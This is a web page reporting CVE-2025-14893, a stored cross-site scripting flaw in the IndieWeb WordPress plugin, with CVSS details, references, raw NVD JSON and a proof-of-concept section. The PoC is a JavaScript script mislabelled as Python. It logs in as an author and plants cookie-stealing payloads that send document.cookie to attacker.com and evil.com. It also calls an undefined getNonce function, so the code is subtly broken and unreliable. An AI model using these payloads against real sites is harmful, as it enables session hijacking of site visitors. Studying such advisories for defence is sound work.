Security Vulnerability Report
中文
CVE-2025-14893 CVSS 6.4 MEDIUM

CVE-2025-14893

Published: 2026-01-09 07:16:02
Last Modified: 2026-04-15 00:35:42

Description

The IndieWeb plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Telephone' parameter in all versions up to, and including, 4.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

IndieWeb plugin for WordPress <= 4.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14893 PoC - Stored XSS via Telephone parameter // Target: WordPress IndieWeb plugin <= 4.0.5 // Authentication required: Author role or higher const axios = require('axios'); const TARGET_URL = 'http://target-wordpress-site.com'; const USERNAME = 'attacker_username'; const PASSWORD = 'attacker_password'; async function exploit() { // Step 1: Login to WordPress const loginResponse = await axios.post(`${TARGET_URL}/wp-login.php`, { log: USERNAME, pwd: PASSWORD, rememberme: 'forever', redirect_to: '/wp-admin/' }, { maxRedirects: 0 }).catch(e => e.response); const cookies = loginResponse.headers['set-cookie']; if (!cookies) { console.log('Login failed'); return; } // Step 2: Inject XSS payload via IndieWeb plugin's Telephone field const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Update profile with XSS in Telephone field await axios.post(`${TARGET_URL}/wp-admin/profile.php`, { telephone: xssPayload, action: 'update', _wpnonce: await getNonce(TARGET_URL, cookies) }, { headers: { Cookie: cookies.join('; ') } }); console.log('XSS payload injected successfully'); console.log('Payload will execute when profile page is viewed'); } // Alternative: XSS via shortcode or REST API const altPayload = '<img src=x onerror="fetch(\'https://evil.com/log?\'+document.cookie)">';

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14893", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:01.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The IndieWeb plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Telephone' parameter in all versions up to, and including, 4.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin IndieWeb para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'Telephone' en todas las versiones hasta la 4.0.5, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite que atacantes autenticados, con acceso de nivel de autor y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3423983/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b29f0fea-a2db-4b2e-b7b8-d15b2395e9e6?source=cve", "source": "[email protected]"}]}}